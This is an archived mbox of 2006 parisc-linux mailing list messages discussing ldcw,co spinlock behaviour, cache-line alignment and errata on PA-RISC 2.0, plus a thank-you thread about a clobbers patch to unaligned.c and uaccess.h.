Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OFZmPJ027261;
	Mon, 24 Apr 2006 11:35:48 -0400 (EDT)
In-Reply-To: <200604231206.53217.mszick@morethan.org> from "Michael S. Zick"
	at Apr 23, 2006 12:06:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VMh6DR9OQEVs4OjDZnVpSktKNzg2NUKM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23614

> ldcw,co target_address
> 
> Where target_address includes the magic byte[0] of 
> the cache line.

Where is this documented?

> Translation:
> 
> Spin on the ldcw,co not the ldw here.

I believe this makes sense as the errata specifies that the ldcw,co
operation has to be performed in cache on PA 2.0 machines:
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,5310,00.html

> On the systems with 128 byte long cache lines,
> ensure these spinlocks are 128 byte aligned not
> 64 byte aligned as in this dump.

As a practical note, this is very difficult to achieve for dynamically
allocated spinlocks.

The intent of the errata seems to be to relax the alignment requirement
for ldc[dw],co in cases where the spinlock is not being shared with a
non-coherent I/O device.  If spinlocks have to be aligned to the start
of a cacheline, there doesn't seem to be any point to the errata.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 10:25:45 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20060424162545.GA25893@colo.lackof.org>
References: <200604231206.53217.mszick@morethan.org>
	<200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624067 19103 80.91.229.3 (22 Nov 2014 02:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 16:14:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 24 Apr 2006 18:14:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1037F7D6E7;
	Mon, 24 Apr 2006 10:14:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22793-01; Mon, 24 Apr 2006 10:14:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6A657D6D0;
	Mon, 24 Apr 2006 10:14:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC1147D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:13:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22554-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:13:58 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 09D9F7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:13:58 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CEE5E36001F;
	Mon, 24 Apr 2006 10:25:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25811-07; Mon, 24 Apr 2006 10:25:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6F53036001D; Mon, 24 Apr 2006 10:25:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OpQuEL4SbXBtrLqHPTQ2ODYqLyUmZYh0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23615

On Mon, Apr 24, 2006 at 11:35:48AM -0400, John David Anglin wrote:
> The intent of the errata seems to be to relax the alignment requirement
> for ldc[dw],co in cases where the spinlock is not being shared with a
> non-coherent I/O device.

AFAIK, only one non-coherent PA-RISC box has PA2.0 and parisc-linux
doesn't support it: T600.

(I'm assuming ",co" completer is PA2.0 only - please correct me if
that's wrong.)

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 11:35:58 -0500
Lines: 95
Approved: news@gmane.org
Message-ID: <200604241135.58306.mszick@morethan.org>
References: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624067 19106 80.91.229.3 (22 Nov 2014 02:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 16:36:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 24 Apr 2006 18:36:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05BF7D73F;
	Mon, 24 Apr 2006 10:36:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22793-07; Mon, 24 Apr 2006 10:36:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ECE57D740;
	Mon, 24 Apr 2006 10:36:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83D837D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:36:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22950-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:36:06 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 8E0F77D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:36:06 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3OGa1bR016787;
	Mon, 24 Apr 2006 09:36:01 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.227] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id RM40xQA2
	authenticated by SMTP; Mon, 24 Apr 2006 09:36:00 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5ZInLB5cTlIvsreQeGhrSVVGU2poZVml
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23616

On Mon April 24 2006 10:35, you wrote:
> > ldcw,co target_address
> > 
> > Where target_address includes the magic byte[0] of 
> > the cache line.
> 
> Where is this documented?
> 
Well, they didn't put it in the instruction RTL where
someone could find it.  It is a footnote or mentioned
in passing somewhere.

I will look for it, I found it about 5 years ago when
Matt and I discussed this on the list, I can find it again.

But it is reasonable - you don't want to waste the cache
coherency bandwidth with every ldcw,co in the cache line.

> > Translation:
> > 
> > Spin on the ldcw,co not the ldw here.
> 
> I believe this makes sense as the errata specifies that the ldcw,co
> operation has to be performed in cache on PA 2.0 machines:
> http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,5310,00.html
> 

Now there is a footnote that applies here...

Those instruction descriptions do not always mention side-effects,
even less often do they mention the exceptions to the side-effects.

An exception (footnoted somewhere):
ldcw,co does not set the dirty bit on the dcache line.

Which makes sense, if you recall that we are in the first clause
of that indivisible RTL block - the one that avoids the Dcache flush
and corresponding memory cycles.

If the instruction had the usual side-effect of setting the dirty
bit on the cache line, then we would not be avoiding the Dcache flush
and the memory cycle (sooner or later).

So spinning on the ldcw,co is evidently what the hardware people had
in mind.  It will not generate a bunch of Dcache flushes.

Since there is no way to clear the lock with ldcw,co then when the
lock is cleared, then there must be another magic completer that needs
to be used on the instruction that resets the condition to '1' (unlocked).

Something that triggers the cache coherency system so the change is
immediately observable by all cpus.

But this is also reasonable - since the lifetime of the release period
could well be longer than the lifetime of the cache line.  Common memory
is the only place for long term storage of the released lock.

I have not found that reference yet either.  It will be one of the cache
'hints' (actually a command in this case).

> > On the systems with 128 byte long cache lines,
> > ensure these spinlocks are 128 byte aligned not
> > 64 byte aligned as in this dump.
> 
> As a practical note, this is very difficult to achieve for dynamically
> allocated spinlocks.
> 

Yea, I understand, will have to refer that to the software engineering
department.  This is the non-HP Hardware Engineering (retired) Department.

Just imagine that the non-HP Hardware Engineering (retired) Department is
temporarily out of hyper-link ink.

> The intent of the errata seems to be to relax the alignment requirement
> for ldc[dw],co in cases where the spinlock is not being shared with a
> non-coherent I/O device.  If spinlocks have to be aligned to the start
> of a cacheline, there doesn't seem to be any point to the errata.
> 

This really applies more to the second clause and/or when you have
multiple semaphores per cache line.  Also, for I/O, there is normally
no cache coherency signals between the I/O devices and the cpu(s).

Which is why non-HP systems do cache snooping.

Mike

> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:Added clobbers to unaligned.c and uaccess.h
Date: Mon, 24 Apr 2006 18:49:06 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <IY8K1U$8FE099F66A8462E832C7AFDC38E1A3E1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624068 19107 80.91.229.3 (22 Nov 2014 02:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:08 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 16:49:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 24 Apr 2006 18:49:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D3B07D764;
	Mon, 24 Apr 2006 10:49:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23195-05; Mon, 24 Apr 2006 10:49:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D7C87D72C;
	Mon, 24 Apr 2006 10:49:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 247047D71F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:49:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23195-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:49:21 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id CD1B77D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:49:20 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id k3OGn5j02160; 
	Mon, 24 Apr 2006 18:49:06 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pzl7DSpaQEVs4OjDZnVpSktKNzg2NQKu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23617

> Joel,
> 
> Patch to add the extra clobbers checked into CVS.
> Thanks for all the work!
> 
No, sincerely thanks for your help.

> What's your next project? ;-)
> 
No clue for the moment: I very need some break but a lot of idea:
    * glibc float nan values pb?
    * find an easy way to instrument of chunk of kernel code with e.g. re=
layfs
      (that was working) but builtin gcc stuff doesn't seems to be tested=
 a
       lot)?
    * ccio-dma imho need more for 64bit?
    * palo -> grub (seems to be friend but not easy to merge)?
    * finishing a ruby script to build tool chain (something is already
      working but need some cleanup and strengthening)?
    * ...

btw: just as game, I rebuild glibc-2.3.6 + my clone patch with gcc-4.1 an=
d
with same src and same kernel (results vary a very few with kernel releas=
e?),
I didn't noticed any regression versus the build with gcc-4.0 ;-)

Thanks,
    Joel=0A=0A----------=0AWordt ook lid van de Scarlet Club via een best=
aande Scarlet klant en ontvang cadeaucheques twv EUR 50! Bezoek snel http=
://www.scarletclub.be=0ADevenez aussi membre du Club Scarlet via un clien=
t Scarlet existant et recevez des cheques cadeaux jusqu'a EUR 50! Surfez =
vite sur http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 12:50:48 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca>
References: <20060424162545.GA25893@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624068 19109 80.91.229.3 (22 Nov 2014 02:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 16:51:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 24 Apr 2006 18:51:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09AD27D72D;
	Mon, 24 Apr 2006 10:50:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23275-09; Mon, 24 Apr 2006 10:50:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EA0B7D75A;
	Mon, 24 Apr 2006 10:50:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DB427D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:50:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23415-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:50:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3D6817D721
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:50:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OGon5P027858;
	Mon, 24 Apr 2006 12:50:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OGon5N027856;
	Mon, 24 Apr 2006 12:50:49 -0400 (EDT)
In-Reply-To: <20060424162545.GA25893@colo.lackof.org> from "Grant Grundler" at
	Apr 24, 2006 10:25:45 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zjN+cDxAX1Vp6uuYY2FyNzZ3SDc4NEwy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23618

> On Mon, Apr 24, 2006 at 11:35:48AM -0400, John David Anglin wrote:
> > The intent of the errata seems to be to relax the alignment requirement
> > for ldc[dw],co in cases where the spinlock is not being shared with a
> > non-coherent I/O device.
> 
> AFAIK, only one non-coherent PA-RISC box has PA2.0 and parisc-linux
> doesn't support it: T600.

It probably has coherent I & D caches as well as this seems to be a
requirement for both 1.1 and 2.0.

> (I'm assuming ",co" completer is PA2.0 only - please correct me if
> that's wrong.)

It's not in the PA 1.1 arch...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Mon, 24 Apr 2006 12:54:41 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440604240954y58dde658g4c84ca153cacb265@mail.gmail.com>
References: <IY8K1U$8FE099F66A8462E832C7AFDC38E1A3E1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624068 19111 80.91.229.3 (22 Nov 2014 02:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:08 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 16:54:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 24 Apr 2006 18:54:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AE347D77C;
	Mon, 24 Apr 2006 10:54:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23568-01; Mon, 24 Apr 2006 10:54:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38F2D7D770;
	Mon, 24 Apr 2006 10:54:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
